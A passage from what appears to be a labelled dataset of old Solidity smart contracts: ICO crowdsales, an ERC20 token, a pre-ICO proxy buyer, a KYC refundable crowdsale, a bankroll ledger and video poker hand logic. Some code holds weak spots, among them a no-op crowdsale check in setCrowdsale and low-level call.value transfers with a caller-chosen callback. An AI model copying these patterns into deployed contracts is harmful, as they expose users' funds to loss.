InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function setEndsAt(uint time) onlyOwner {
if(now > time) {
throw;
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function setMultisig(address addr) public onlyOwner {
if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) {
throw;
}
multisigWallet = addr;
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract StandardToken is ERC20, SafeMath {
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function isToken() public constant returns (bool weAre) {
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract PreICOProxyBuyer is Ownable, Haltable, SafeMath {
uint public investorCount;
uint public weiRaised;
address[] public investors;
mapping(address => uint) public balances;
mapping(address => uint) public claimed;
uint public freezeEndsAt;
uint public weiMinimumLimit;
uint public weiMaximumLimit;
uint public weiCap;
uint public tokensBought;
uint public claimCount;
uint public totalClaimed;
bool public forcedRefund;
Crowdsale public crowdsale;
enum State{Unknown, Funding, Distributing, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refunded(address investor, uint value);
event TokensBoughts(uint count);
event Distributed(address investor, uint count);
function PreICOProxyBuyer(address _owner, uint _freezeEndsAt, uint _weiMinimumLimit, uint _weiMaximumLimit, uint _weiCap) {
owner = _owner;
if(_freezeEndsAt == 0) {
throw;
}
if(_weiMinimumLimit == 0) {
throw;
}
if(_weiMaximumLimit == 0) {
throw;
}
weiMinimumLimit = _weiMinimumLimit;
weiMaximumLimit = _weiMaximumLimit;
weiCap = _weiCap;
freezeEndsAt = _freezeEndsAt;
}
function getToken() public constant returns(FractionalERC20) {
if(address(crowdsale) == 0) {
throw;
}
return crowdsale.token();
}
function invest(uint128 customerId) private {
if(getState() != State.Funding) throw;
if(msg.value == 0) throw;
address investor = msg.sender;
bool existing = balances[investor] > 0;
balances[investor] = safeAdd(balances[investor], msg.value);
if(balances[investor] < weiMinimumLimit || balances[investor] > weiMaximumLimit) {
throw;
}
if(!existing) {
investors.push(investor);
investorCount++;
}
weiRaised = safeAdd(weiRaised, msg.value);
if(weiRaised > weiCap) {
throw;
}
Invested(investor, msg.value, 0, customerId);
}
function buyWithCustomerId(uint128 customerId) public stopInEmergency payable {
invest(customerId);
}
function buy() public stopInEmergency payable {
invest(0x0);
}
function buyForEverybody() stopNonOwnersInEmergency public {
if(getState() != State.Funding) {
throw;
}
if(address(crowdsale) == 0) throw;
crowdsale.invest.value(weiRaised)(address(this));
tokensBought = getToken().balanceOf(address(this));
if(tokensBought == 0) {
throw;
}
TokensBoughts(tokensBought);
}
function getClaimAmount(address investor) public constant returns (uint) {
if(getState() != State.Distributing) {
throw;
}
return safeMul(balances[investor], tokensBought) / weiRaised;
}
function getClaimLeft(address investor) public constant returns (uint) {
return safeSub(getClaimAmount(investor), claimed[investor]);
}
function claimAll() {
claim(getClaimLeft(msg.sender));
}
function claim(uint amount) stopInEmergency {
address investor = msg.sender;
if(amount == 0) {
throw;
}
if(getClaimLeft(investor) < amount) {
throw;
}
if(claimed[investor] == 0) {
claimCount++;
}
claimed[investor] = safeAdd(claimed[investor], amount);
totalClaimed = safeAdd(totalClaimed, amount);
getToken().transfer(investor, amount);
Distributed(investor, amount);
}
function refund() stopInEmergency {
if(getState() != State.Refunding) throw;
address investor = msg.sender;
if(balances[investor] == 0) throw;
uint amount = balances[investor];
delete balances[investor];
if(!(investor.call.value(amount)())) throw;
Refunded(investor, amount);
}
function setCrowdsale(Crowdsale _crowdsale) public onlyOwner {
crowdsale = _crowdsale;
if(!crowdsale.isCrowdsale()) true;
}
function forceRefund() public onlyOwner {
forcedRefund = true;
}
function loadRefund() public payable {
if(getState() != State.Refunding) throw;
}
function getState() public returns(State) {
if (forcedRefund)
return State.Refunding;
if(tokensBought == 0) {
if(now >= freezeEndsAt) {
return State.Refunding;
} else {
return State.Funding;
}
} else {
return State.Distributing;
}
}
function isPresale() public constant returns (bool) {
return true;
}
function() payable {
throw;
}
} | 0 | 448 |
pragma solidity ^0.4.24;
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract PostDeliveryCrowdsale is TimedCrowdsale {
using SafeMath for uint256;
mapping(address => uint256) public balances;
function withdrawTokens() public {
require(hasClosed());
uint256 amount = balances[msg.sender];
require(amount > 0);
balances[msg.sender] = 0;
_deliverTokens(msg.sender, amount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
balances[_beneficiary] = balances[_beneficiary].add(_tokenAmount);
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(
ERC20Basic _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
contract Oraclized is Ownable {
address public oracle;
constructor(address _oracle) public {
oracle = _oracle;
}
function setOracle(address _oracle) public onlyOwner {
oracle = _oracle;
}
modifier onlyOracle() {
require(msg.sender == oracle);
_;
}
modifier onlyOwnerOrOracle() {
require((msg.sender == oracle) || (msg.sender == owner));
_;
}
}
contract KYCCrowdsale is Oraclized, PostDeliveryCrowdsale {
using SafeMath for uint256;
uint256 public etherPriceInUsd;
uint256 public usdRaised;
mapping (address => uint256) public weiInvested;
mapping (address => uint256) public usdInvested;
mapping (address => bool) public KYCPassed;
mapping (address => bool) public KYCRequired;
uint256 public KYCRequiredAmountInUsd;
event EtherPriceUpdated(uint256 _cents);
constructor(uint256 _kycAmountInUsd, uint256 _etherPrice) public {
require(_etherPrice > 0);
KYCRequiredAmountInUsd = _kycAmountInUsd;
etherPriceInUsd = _etherPrice;
}
function setKYCRequiredAmount(uint256 _cents) external onlyOwnerOrOracle {
require(_cents > 0);
KYCRequiredAmountInUsd = _cents;
}
function setEtherPrice(uint256 _cents) public onlyOwnerOrOracle {
require(_cents > 0);
etherPriceInUsd = _cents;
emit EtherPriceUpdated(_cents);
}
function isKYCRequired(address _address) external view returns(bool) {
return KYCRequired[_address];
}
function isKYCPassed(address _address) external view returns(bool) {
return KYCPassed[_address];
}
function isKYCSatisfied(address _address) public view returns(bool) {
return !KYCRequired[_address] || KYCPassed[_address];
}
function weiInvestedOf(address _account) external view returns (uint256) {
return weiInvested[_account];
}
function usdInvestedOf(address _account) external view returns (uint256) {
return usdInvested[_account];
}
function updateKYCStatus(address[] _addresses, bool _completed) public onlyOwnerOrOracle {
for (uint16 index = 0; index < _addresses.length; index++) {
KYCPassed[_addresses[index]] = _completed;
}
}
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
super._updatePurchasingState(_beneficiary, _weiAmount);
uint256 usdAmount = _weiToUsd(_weiAmount);
usdRaised = usdRaised.add(usdAmount);
usdInvested[_beneficiary] = usdInvested[_beneficiary].add(usdAmount);
weiInvested[_beneficiary] = weiInvested[_beneficiary].add(_weiAmount);
if (usdInvested[_beneficiary] >= KYCRequiredAmountInUsd) {
KYCRequired[_beneficiary] = true;
}
}
function withdrawTokens() public {
require(isKYCSatisfied(msg.sender));
super.withdrawTokens();
}
function _weiToUsd(uint256 _wei) internal view returns (uint256) {
return _wei.mul(etherPriceInUsd).div(1e18);
}
function _usdToWei(uint256 _cents) internal view returns (uint256) {
return _cents.mul(1e18).div(etherPriceInUsd);
}
}
contract KYCRefundableCrowdsale is KYCCrowdsale {
using SafeMath for uint256;
uint256 private percentage = 100 * 1000;
uint256 private weiOnFinalize;
bool public goalReached = false;
bool public isFinalized = false;
uint256 public tokensWithdrawn;
event Refund(address indexed _account, uint256 _amountInvested, uint256 _amountRefunded);
event Finalized();
event OwnerWithdraw(uint256 _amount);
function setGoalReached(bool _success) external onlyOwner {
require(!isFinalized);
goalReached = _success;
}
function claimRefund() public {
require(isFinalized);
require(!goalReached);
uint256 refundPercentage = _refundPercentage();
uint256 amountInvested = weiInvested[msg.sender];
uint256 amountRefunded = amountInvested.mul(refundPercentage).div(percentage);
weiInvested[msg.sender] = 0;
usdInvested[msg.sender] = 0;
msg.sender.transfer(amountRefunded);
emit Refund(msg.sender, amountInvested, amountRefunded);
}
function finalize() public onlyOwner {
require(!isFinalized);
closingTime = block.timestamp;
weiOnFinalize = address(this).balance;
isFinalized = true;
emit Finalized();
}
function withdrawTokens() public {
require(isFinalized);
require(goalReached);
tokensWithdrawn = tokensWithdrawn.add(balances[msg.sender]);
super.withdrawTokens();
}
function ownerWithdraw(uint256 _amount) external onlyOwner {
require(_amount > 0);
wallet.transfer(_amount);
emit OwnerWithdraw(_amount);
}
function _forwardFunds() internal {
}
function _refundPercentage() internal view returns (uint256) {
return weiOnFinalize.mul(percentage).div(weiRaised);
}
}
contract AerumCrowdsale is KYCRefundableCrowdsale {
using SafeMath for uint256;
uint256 public minInvestmentInUsd;
uint256 public tokensSold;
uint256 public pledgeTotal;
uint256 public pledgeClosingTime;
mapping (address => uint256) public pledges;
uint256 public whitelistedRate;
uint256 public publicRate;
event AirDrop(address indexed _account, uint256 _amount);
event MinInvestmentUpdated(uint256 _cents);
event RateUpdated(uint256 _whitelistedRate, uint256 _publicRate);
event Withdraw(address indexed _account, uint256 _amount);
constructor(
ERC20 _token, address _wallet,
uint256 _whitelistedRate, uint256 _publicRate,
uint256 _openingTime, uint256 _closingTime,
uint256 _pledgeClosingTime,
uint256 _kycAmountInUsd, uint256 _etherPriceInUsd)
Oraclized(msg.sender)
Crowdsale(_whitelistedRate, _wallet, _token)
TimedCrowdsale(_openingTime, _closingTime)
KYCCrowdsale(_kycAmountInUsd, _etherPriceInUsd)
KYCRefundableCrowdsale()
public {
require(_openingTime < _pledgeClosingTime && _pledgeClosingTime < _closingTime);
pledgeClosingTime = _pledgeClosingTime;
whitelistedRate = _whitelistedRate;
publicRate = _publicRate;
minInvestmentInUsd = 25 * 100;
}
function setMinInvestment(uint256 _cents) external onlyOwnerOrOracle {
minInvestmentInUsd = _cents;
emit MinInvestmentUpdated(_cents);
}
function setClosingTime(uint256 _closingTime) external onlyOwner {
require(_closingTime >= openingTime);
closingTime = _closingTime;
}
function setPledgeClosingTime(uint256 _pledgeClosingTime) external onlyOwner {
require(_pledgeClosingTime >= openingTime && _pledgeClosingTime <= closingTime);
pledgeClosingTime = _pledgeClosingTime;
}
function setRate(uint256 _whitelistedRate, uint256 _publicRate) public onlyOwnerOrOracle {
require(_whitelistedRate > 0);
require(_publicRate > 0);
whitelistedRate = _whitelistedRate;
publicRate = _publicRate;
emit RateUpdated(_whitelistedRate, _publicRate);
}
function setRateAndEtherPrice(uint256 _whitelistedRate, uint256 _publicRate, uint256 _cents) external onlyOwnerOrOracle {
setRate(_whitelistedRate, _publicRate);
setEtherPrice(_cents);
}
function sendTokens(address _to, uint256 _amount) external onlyOwner {
if (!isFinalized || goalReached) {
_ensureTokensAvailable(_amount);
}
token.transfer(_to, _amount);
}
function balanceOf(address _address) external view returns (uint256) {
return balances[_address];
}
function capReached() public view returns (bool) {
return tokensSold >= token.balanceOf(this);
}
function completionPercentage() external view returns (uint256) {
uint256 balance = token.balanceOf(this);
if (balance == 0) {
return 0;
}
return tokensSold.mul(100).div(balance);
}
function tokensRemaining() external view returns(uint256) {
return token.balanceOf(this).sub(_tokensLocked());
}
function withdrawTokens() public {
uint256 amount = balances[msg.sender];
super.withdrawTokens();
emit Withdraw(msg.sender, amount);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
super._preValidatePurchase(_beneficiary, _weiAmount);
require(_totalInvestmentInUsd(_beneficiary, _weiAmount) >= minInvestmentInUsd);
_ensureTokensAvailableExcludingPledge(_beneficiary, _getTokenAmount(_weiAmount));
}
function _totalInvestmentInUsd(address _beneficiary, uint256 _weiAmount) internal view returns(uint256) {
return usdInvested[_beneficiary].add(_weiToUsd(_weiAmount));
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
super._processPurchase(_beneficiary, _tokenAmount);
tokensSold = tokensSold.add(_tokenAmount);
if (pledgeOpen()) {
_decreasePledge(_beneficiary, _tokenAmount);
}
}
function _decreasePledge(address _beneficiary, uint256 _tokenAmount) internal {
if (pledgeOf(_beneficiary) <= _tokenAmount) {
pledgeTotal = pledgeTotal.sub(pledgeOf(_beneficiary));
pledges[_beneficiary] = 0;
} else {
pledgeTotal = pledgeTotal.sub(_tokenAmount);
pledges[_beneficiary] = pledges[_beneficiary].sub(_tokenAmount);
}
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
uint256 currentRate = getCurrentRate();
return _weiAmount.mul(currentRate);
}
function getCurrentRate() public view returns (uint256) {
if (pledgeOpen()) {
return whitelistedRate;
}
return publicRate;
}
function pledgeOpen() public view returns (bool) {
return (openingTime <= block.timestamp) && (block.timestamp <= pledgeClosingTime);
}
function pledgeOf(address _address) public view returns (uint256) {
return pledges[_address];
}
function pledgeCapReached() public view returns (bool) {
return pledgeTotal.add(tokensSold) >= token.balanceOf(this);
}
function pledgeCompletionPercentage() external view returns (uint256) {
uint256 balance = token.balanceOf(this);
if (balance == 0) {
return 0;
}
return pledgeTotal.add(tokensSold).mul(100).div(balance);
}
function pledge(address[] _addresses, uint256[] _tokens) external onlyOwnerOrOracle {
require(_addresses.length == _tokens.length);
_ensureTokensListAvailable(_tokens);
for (uint16 index = 0; index < _addresses.length; index++) {
pledgeTotal = pledgeTotal.sub(pledges[_addresses[index]]).add(_tokens[index]);
pledges[_addresses[index]] = _tokens[index];
}
}
function airDropTokens(address[] _addresses, uint256[] _tokens) external onlyOwnerOrOracle {
require(_addresses.length == _tokens.length);
_ensureTokensListAvailable(_tokens);
for (uint16 index = 0; index < _addresses.length; index++) {
tokensSold = tokensSold.add(_tokens[index]);
balances[_addresses[index]] = balances[_addresses[index]].add(_tokens[index]);
emit AirDrop(_addresses[index], _tokens[index]);
}
}
function _ensureTokensListAvailable(uint256[] _tokens) internal {
uint256 total;
for (uint16 index = 0; index < _tokens.length; index++) {
total = total.add(_tokens[index]);
}
_ensureTokensAvailable(total);
}
function _ensureTokensAvailable(uint256 _tokens) internal view {
require(_tokens.add(_tokensLocked()) <= token.balanceOf(this));
}
function _ensureTokensAvailableExcludingPledge(address _account, uint256 _tokens) internal view {
require(_tokens.add(_tokensLockedExcludingPledge(_account)) <= token.balanceOf(this));
}
function _tokensLocked() internal view returns(uint256) {
uint256 locked = tokensSold.sub(tokensWithdrawn);
if (pledgeOpen()) {
locked = locked.add(pledgeTotal);
}
return locked;
}
function _tokensLockedExcludingPledge(address _account) internal view returns(uint256) {
uint256 locked = _tokensLocked();
if (pledgeOpen()) {
locked = locked.sub(pledgeOf(_account));
}
return locked;
}
} | 0 | 1,469 |
pragma solidity ^0.4.23;
interface IRegistry {
function owner() external view returns (address _addr);
function addressOf(bytes32 _name) external view returns (address _addr);
}
contract UsingRegistry {
IRegistry private registry;
modifier fromOwner(){
require(msg.sender == getOwner());
_;
}
constructor(address _registry)
public
{
require(_registry != 0);
registry = IRegistry(_registry);
}
function addressOf(bytes32 _name)
internal
view
returns(address _addr)
{
return registry.addressOf(_name);
}
function getOwner()
public
view
returns (address _addr)
{
return registry.owner();
}
function getRegistry()
public
view
returns (IRegistry _addr)
{
return registry;
}
}
contract UsingAdmin is
UsingRegistry
{
constructor(address _registry)
UsingRegistry(_registry)
public
{}
modifier fromAdmin(){
require(msg.sender == getAdmin());
_;
}
function getAdmin()
public
constant
returns (address _addr)
{
return addressOf("ADMIN");
}
}
interface ITreasury {
function issueDividend() external returns (uint _profits);
function profitsSendable() external view returns (uint _profits);
}
contract UsingTreasury is
UsingRegistry
{
constructor(address _registry)
UsingRegistry(_registry)
public
{}
modifier fromTreasury(){
require(msg.sender == address(getTreasury()));
_;
}
function getTreasury()
public
view
returns (ITreasury)
{
return ITreasury(addressOf("TREASURY"));
}
}
contract Ledger {
uint public total;
struct Entry {
uint balance;
address next;
address prev;
}
mapping (address => Entry) public entries;
address public owner;
modifier fromOwner() { require(msg.sender==owner); _; }
constructor(address _owner)
public
{
owner = _owner;
}
function add(address _address, uint _amt)
fromOwner
public
{
if (_address == address(0) || _amt == 0) return;
Entry storage entry = entries[_address];
if (entry.balance == 0) {
entry.next = entries[0x0].next;
entries[entries[0x0].next].prev = _address;
entries[0x0].next = _address;
}
total += _amt;
entry.balance += _amt;
}
function subtract(address _address, uint _amt)
fromOwner
public
returns (uint _amtRemoved)
{
if (_address == address(0) || _amt == 0) return;
Entry storage entry = entries[_address];
uint _maxAmt = entry.balance;
if (_maxAmt == 0) return;
if (_amt >= _maxAmt) {
total -= _maxAmt;
entries[entry.prev].next = entry.next;
entries[entry.next].prev = entry.prev;
delete entries[_address];
return _maxAmt;
} else {
total -= _amt;
entry.balance -= _amt;
return _amt;
}
}
function size()
public
view
returns (uint _size)
{
Entry memory _curEntry = entries[0x0];
while (_curEntry.next > 0) {
_curEntry = entries[_curEntry.next];
_size++;
}
return _size;
}
function balanceOf(address _address)
public
view
returns (uint _balance)
{
return entries[_address].balance;
}
function balances()
public
view
returns (address[] _addresses, uint[] _balances)
{
uint _size = size();
_addresses = new address[](_size);
_balances = new uint[](_size);
uint _i = 0;
Entry memory _curEntry = entries[0x0];
while (_curEntry.next > 0) {
_addresses[_i] = _curEntry.next;
_balances[_i] = entries[_curEntry.next].balance;
_curEntry = entries[_curEntry.next];
_i++;
}
return (_addresses, _balances);
}
}
contract AddressSet {
struct Entry {
bool exists;
address next;
address prev;
}
mapping (address => Entry) public entries;
address public owner;
modifier fromOwner() { require(msg.sender==owner); _; }
constructor(address _owner)
public
{
owner = _owner;
}
function add(address _address)
fromOwner
public
returns (bool _didCreate)
{
if (_address == address(0)) return;
Entry storage entry = entries[_address];
if (entry.exists) return;
else entry.exists = true;
Entry storage HEAD = entries[0x0];
entry.next = HEAD.next;
entries[HEAD.next].prev = _address;
HEAD.next = _address;
return true;
}
function remove(address _address)
fromOwner
public
returns (bool _didExist)
{
if (_address == address(0)) return;
Entry storage entry = entries[_address];
if (!entry.exists) return;
entries[entry.prev].next = entry.next;
entries[entry.next].prev = entry.prev;
delete entries[_address];
return true;
}
function size()
public
view
returns (uint _size)
{
Entry memory _curEntry = entries[0x0];
while (_curEntry.next > 0) {
_curEntry = entries[_curEntry.next];
_size++;
}
return _size;
}
function has(address _address)
public
view
returns (bool _exists)
{
return entries[_address].exists;
}
function addresses()
public
view
returns (address[] _addresses)
{
uint _size = size();
_addresses = new address[](_size);
uint _i = 0;
Entry memory _curEntry = entries[0x0];
while (_curEntry.next > 0) {
_addresses[_i] = _curEntry.next;
_curEntry = entries[_curEntry.next];
_i++;
}
return _addresses;
}
}
contract Bankrollable is
UsingTreasury
{
uint public profitsSent;
Ledger public ledger;
uint public bankroll;
AddressSet public whitelist;
modifier fromWhitelistOwner(){
require(msg.sender == getWhitelistOwner());
_;
}
event BankrollAdded(uint time, address indexed bankroller, uint amount, uint bankroll);
event BankrollRemoved(uint time, address indexed bankroller, uint amount, uint bankroll);
event ProfitsSent(uint time, address indexed treasury, uint amount);
event AddedToWhitelist(uint time, address indexed addr, address indexed wlOwner);
event RemovedFromWhitelist(uint time, address indexed addr, address indexed wlOwner);
constructor(address _registry)
UsingTreasury(_registry)
public
{
ledger = new Ledger(this);
whitelist = new AddressSet(this);
}
function addToWhitelist(address _addr)
fromWhitelistOwner
public
{
bool _didAdd = whitelist.add(_addr);
if (_didAdd) emit AddedToWhitelist(now, _addr, msg.sender);
}
function removeFromWhitelist(address _addr)
fromWhitelistOwner
public
{
bool _didRemove = whitelist.remove(_addr);
if (_didRemove) emit RemovedFromWhitelist(now, _addr, msg.sender);
}
function () public payable {}
function addBankroll()
public
payable
{
require(whitelist.size()==0 || whitelist.has(msg.sender));
ledger.add(msg.sender, msg.value);
bankroll = ledger.total();
emit BankrollAdded(now, msg.sender, msg.value, bankroll);
}
function removeBankroll(uint _amount, string _callbackFn)
public
returns (uint _recalled)
{
address _bankroller = msg.sender;
uint _collateral = getCollateral();
uint _balance = address(this).balance;
uint _available = _balance > _collateral ? _balance - _collateral : 0;
if (_amount > _available) _amount = _available;
_amount = ledger.subtract(_bankroller, _amount);
bankroll = ledger.total();
if (_amount == 0) return;
bytes4 _sig = bytes4(keccak256(_callbackFn));
require(_bankroller.call.value(_amount)(_sig));
emit BankrollRemoved(now, _bankroller, _amount, bankroll);
return _amount;
}
function sendProfits()
public
returns (uint _profits)
{
int _p = profits();
if (_p <= 0) return;
_profits = uint(_p);
profitsSent += _profits;
address _tr = getTreasury();
require(_tr.call.value(_profits)());
emit ProfitsSent(now, _tr, _profits);
}
function getCollateral()
public
view
returns (uint _amount);
function getWhitelistOwner()
public
view
returns (address _addr);
function profits()
public
view
returns (int _profits)
{
int _balance = int(address(this).balance);
int _threshold = int(bankroll + getCollateral());
return _balance - _threshold;
}
function profitsTotal()
public
view
returns (int _profits)
{
return int(profitsSent) + profits();
}
function bankrollAvailable()
public
view
returns (uint _amount)
{
uint _balance = address(this).balance;
uint _bankroll = bankroll;
uint _collat = getCollateral();
if (_balance <= _collat) return 0;
else if (_balance < _collat + _bankroll) return _balance - _collat;
else return _bankroll;
}
function bankrolledBy(address _addr)
public
view
returns (uint _amount)
{
return ledger.balanceOf(_addr);
}
function bankrollerTable()
public
view
returns (address[], uint[])
{
return ledger.balances();
}
}
contract VideoPokerUtils {
uint constant HAND_UNDEFINED = 0;
uint constant HAND_RF = 1;
uint constant HAND_SF = 2;
uint constant HAND_FK = 3;
uint constant HAND_FH = 4;
uint constant HAND_FL = 5;
uint constant HAND_ST = 6;
uint constant HAND_TK = 7;
uint constant HAND_TP = 8;
uint constant HAND_JB = 9;
uint constant HAND_HC = 10;
uint constant HAND_NOT_COMPUTABLE = 11;
function getHand(uint256 _hash)
public
pure
returns (uint32)
{
return uint32(getCardsFromHash(_hash, 5, 0));
}
function drawToHand(uint256 _hash, uint32 _hand, uint _draws)
public
pure
returns (uint32)
{
assert(_draws <= 31);
assert(_hand != 0 || _draws == 31);
if (_draws == 0) return _hand;
if (_draws == 31) return uint32(getCardsFromHash(_hash, 5, handToBitmap(_hand)));
uint _newMask;
for (uint _i=0; _i<5; _i++) {
if (_draws & 2**_i == 0) continue;
_newMask |= 63 * (2**(6*_i));
}
uint _discardMask = ~_newMask & (2**31-1);
uint _newHand = getCardsFromHash(_hash, 5, handToBitmap(_hand));
_newHand &= _newMask;
_newHand |= _hand & _discardMask;
return uint32(_newHand);
}
function getHandRank(uint32 _hand)
public
pure
returns (uint)
{
if (_hand == 0) return HAND_NOT_COMPUTABLE;
uint _card;
uint[] memory _valCounts = new uint[](13);
uint[] memory _suitCounts = new uint[](5);
uint _pairVal;
uint _minNonAce = 100;
uint _maxNonAce = 0;
uint _numPairs;
uint _maxSet;
bool _hasFlush;
bool _hasAce;
uint _i;
uint _val;
for (_i=0; _i<5; _i++) {
_card = readFromCards(_hand, _i);
if (_card > 51) return HAND_NOT_COMPUTABLE;
_val = _card % 13;
_valCounts[_val]++;
_suitCounts[_card/13]++;
if (_suitCounts[_card/13] == 5) _hasFlush = true;
if (_val == 0) {
_hasAce = true;
} else {
if (_val < _minNonAce) _minNonAce = _val;
if (_val > _maxNonAce) _maxNonAce = _val;
}
if (_valCounts[_val] == 2) {
if (_numPairs==0) _pairVal = _val;
_numPairs++;
} else if (_valCounts[_val] == 3) {
_maxSet = 3;
} else if (_valCounts[_val] == 4) {
_maxSet = 4;
}
}
if (_numPairs > 0){
